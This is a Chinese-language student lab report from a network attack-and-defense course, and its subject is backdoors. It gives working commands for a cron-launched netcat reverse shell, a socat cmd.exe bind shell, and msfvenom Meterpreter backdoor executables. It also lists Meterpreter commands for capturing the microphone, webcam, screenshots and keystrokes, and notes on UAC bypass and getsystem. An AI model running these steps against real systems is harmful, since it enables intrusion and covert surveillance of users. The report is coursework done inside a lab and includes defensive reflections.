1. 程式人生 > 其它 >20192425 2021-2022-2 《網路與系統攻防技術》實驗二實驗報告

20192425 2021-2022-2 《網路與系統攻防技術》實驗二實驗報告

20192425 2021-2022-2 《網路與系統攻防技術》實驗二實驗報告

1.實驗內容

(1)使用netcat獲取主機操作Shell,cron啟動某項任務(任務自定)

PS:cron是linux下用來週期性的執行某種任務或等待處理某些事件的一個守護程序

(2)使用socat獲取主機操作Shell, 任務計劃啟動

(3)使用MSF meterpreter(或其他軟體)生成可執行檔案,利用ncat或socat傳送到主機並執行獲取主機Shell

(4)使用MSF meterpreter(或其他軟體)生成獲取目標主機音訊、攝像頭、擊鍵記錄等內容,並嘗試提權

(5)使用MSF生成shellcode,注入到實踐1中的pwn1中,獲取反彈連線Shell。

2.實驗過程

1.使用netcat獲取主機操作Shell,cron啟動

cron是一個linux下 的定時執行工具,可以在無需人工干預的情況下執行作業。

service crond start //啟動服務
service crond stop //關閉服務
service crond restart //重啟服務
service crond reload //重新載入配置
service crond status //檢視服務狀態

我們用crontab -e進入當前使用者的工作表編輯,是常見的vim介面。每行是一條命令。crontab的命令構成為 時間+動作,其時間有分、時、日、月、週五種,操作符有

* 取值範圍內的所有數字
/ 每過多少個數字
- 從X到Z
,雜湊數字

例項:
晚上11點到早上7點之間,每隔一小時重啟smb
0 23-7/1 * * * /etc/init.d/smb restart


NC 是一款安全工具,它還有其他的名字 Netcat, Ncat 可用來做埠掃描,埠轉發,連線遠端系統等。它是一款擁有多種功能的 CLI 工具,可以用來在網路上讀、寫以及重定向資料。它被設計成可以被指令碼或其他程式呼叫的可靠的後端工具。同時由於它能建立任意所需的連線,因此也是一個很好的網路除錯工具。

主機通過Ipconfig命令,虛擬機器通過ifconfig命令,得到IP地址。使用cron新增命令,使得Linux反彈連線。在kali虛擬機器執行指令crotab -e,在檔案的末尾新增* * * * * /bin/netcat 192.168.56.101 8090 -e /bin/sh,即可看到cmd獲得了kali的shell。

2.使用socat獲取主機操作Shell, 任務計劃啟動

Windwos下載好了socat,解壓使用

socat也是一款很不錯的網路工具,可以認為是nc的加強版。作為一款雙向資料流通道工具,它擁有許多強大的功能:埠的連線、埠偵聽、收發檔案、傳遞shell、埠轉發、埠掃描等。這裡我們只把socat作為傳遞shell的工具使用;

  • 在Windows單擊【計算機】—【管理】—【任務計劃程式】,在計算機中的任務計劃裡新建觸發器,設定任務啟動時間以及操作。

  • 在操作選項卡中繫結socat程式,給出引數:tcp-listen:4304 exec:cmd.exe,pty,stderr這個命令的作用是把cmd.exe繫結到埠4304,同時把cmd.exe的stderr重定向到stdout上。

  • 在預計時間Windows主機跳出執行exe檔案,此時在Linux下輸入socat - tcp:192.168.56.101:4304,,便可成功獲取到win的shell。

3.使用MSF meterpreter(或其他軟體)生成可執行檔案,利用ncat或socat傳送到主機並執行獲取主機Shell

Meterpreter命令詳解 - 滲透測試中心 - 部落格園
https://www.cnblogs.com/backlion/p/9484949.html

在虛擬機器中輸入命令msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.56.102 LPORT=5301 -f exe > meter_backdoor.exe,通過nc指令將生成的後門程式傳送到Windows主機上,在Kali上使用msfconsole指令進入msf控制檯,使用監聽模組,設定payload,設定反彈回連的IP和埠,設定完成後,執行監聽,開啟Windows上的後門程式:此時Kali上已經獲得了Windows主機的連線,並且得到了遠端控制的shell。



4.使用MSF meterpreter(或其他軟體)生成獲取目標主機音訊、攝像頭、擊鍵記錄等內容,並嘗試提權

  • 使用record_mic指令可以截獲一段音訊:
  • 使用webcam_snap指令可以使用攝像頭進行拍照;
  • 使用webcam stream指令可以使用攝像頭進行錄影;
  • 使用screenshot指令可以進行截圖;
  • 使用keyscan_start指令開始記錄下擊鍵的過程,使用keyscan_dump指令讀取擊鍵的記錄。

提權失敗原因

在meterpreter shell介面,我們可以通過shell命令,進入cmd命令提示符,使用net user檢視當前使用者,發現當前使用者實際是在管理組administrators組中,那為什麼還提權不了呢?
原來,windows作業系統在vista以後增加了一個UAC的功能,英文全稱User Access Control,該功能對管理員組的使用者起到一定限制,進而保護電腦保安,當我們需要執行一些重要的程式,只有管理員許可權才能執行的程式時,UAC功能都會彈出一個對話方塊,對使用者進行詢問,當用戶點選了同意按鈕,程式才會以管理員或system許可權執行。因此,我們要想提權成功,首先要繞過windows的UAC限制,接下來我們來看常用的繞過UAC的套路。

5.可選加分內容:使用MSF生成shellcode,注入到實踐1中的pwn1中,獲取反彈連線Shell(1分)加分內容一併寫入本實驗報告。

這次要求的是在linux/x86的,獲取反彈式shell,所payload要選擇:inux/x86/meterpreter/reverse_tcp。

  • -p, 指定需要使用的payload(攻擊荷載)為linux/x86/meterpreter/reverse_tcp。
  • -x, 指定一個自定義的可執行檔案作為模板(將我們的後門掛到此檔案中),指定我們實驗一中的pwn20192425。
  • -f, 指定輸出格式,這裡我們選擇ELF格式。 >重定向輸出為20192425pwn檔案。

輸入exploit進行監聽,開啟另外一個終端執行我們剛所生成的20192425pwn檔案,可以看到我們這個終端中成功獲取到了linux系統的shell。

3.問題及解決方案

  • 問題1:主機和虛擬機器不能相互ping通
  • 問題1解決方案:通過上網查詢相關資料,並進行相關設定。將虛擬機器網路配置設定為橋接模式,主機使用乙太網介面卡 VirtualBox Host-Only Network的Ipv4地址,主機和虛擬機器可以相互Ping通。
  • 問題2:payload不知道如何設定或設定錯誤
  • 問題2解決方案:Payload中包含有需要在遠端系統中執行的惡意程式碼,而在Metasploit中Payload是一種特殊模組,它們能夠以漏洞利用模組執行,並能夠利用目標系統中的安全漏洞實施攻擊。簡而言之,這種漏洞利用模組可以訪問目標系統,而其中的程式碼定義了Payload在目標系統中的行為。當我們在Metasploit中執行“show payloads”命令之後,它會給我們顯示一個可使用的Payload列表。需要注意設定payload要和生成payload時候的兩個payload相一致。

4.學習感悟、思考等

問題思考

(1)例舉你能想到的一個後門進入到你係統中的可能方式?

作業系統本身就帶有後門!

後門程式可能偽裝成正常程式,當我們在我們在網路上下載資源或者將撿到的如優盤等硬體裝置插入到電腦中時,只要我們點選啟動後,後門程式可以自動執行。

(2)例舉你知道的後門如何啟動起來(win及linux)的方式?

本次實驗中,在虛擬機器裡先修改cron檔案,然後通過ncat傳播到另一臺主機,當另一臺主機執行時啟動後門。

通過漏洞攻擊啟動,如果想留後門的話,指令碼語言可以,C/C++可以故意不檢查輸入合法性,尤其是緩衝區長度,還可以在拼接命令列引數/sql語句的地方留注入漏洞啟動。

一些不安全的軟體編寫時留下了後門,使用這些軟體可能會使後門啟動;

(3)Meterpreter有哪些給你印象深刻的功能?

實驗中我們通過使用MSF meterpreter生成獲取目標主機音訊、攝像頭、擊鍵記錄,並提權。

印象都挺深的,不管是獲取音訊、攝像頭,還是擊鍵記錄都嚴重侵犯了個人隱私,如果能成功提權,產生的後果將更加不堪設想。

(4)如何發現自己有系統有沒有被安裝後門?

首先可以通過Windows自帶的防火牆或者利用防毒軟體進行識別,大部分後門都是可以被識別出來的;

再就是檢視工作管理員有沒有很陌生的任務在執行,檢查可疑程序;

還可以檢視登錄檔資訊,檢查端口占用的情況。


meterpreter的getsystem命令,實際是針對windows的管理員組的使用者的一種提權方式,當用戶不在管理員組時,我們通常會通過系統的溢位漏洞進行提權。而當所得使用者許可權在管理員組時,我們需要先繞過UAC,然後使用getsystem命令進行提權即可。

在現實世界中,留後門是當然是不允許的。尤其是定製外包這一塊,專案交付完成後就歸甲方所有,如果開發者還留有後臺那對有實際資金運轉的專案是十分危險的,甚至會構成違法犯罪行為。軟體開發公司裡面一個程式設計師一年經手的專案也不少,如果每個專案都給自己留點後門,可能對商家造成多少損失,會帶來多少不正當利益。

本次實驗通過利用後門,可以操作shell,可以獲取目標主機音訊、攝像頭、擊鍵記錄等內容,可以提權……實驗中簡單的後門其實是可以被防火牆識別的,這讓我意識到了防火牆的重要性,以及一定要及時更新系統、安裝補丁,儘量避免系統漏洞;在實驗裡簡單的後門程式就可以實現那麼多效果,一旦計算機被植入這些後門程式,個人隱私就輕而易舉地會被洩露,在平時一定要養成良好的使用計算機的習慣,不要使用來源不明的軟體等。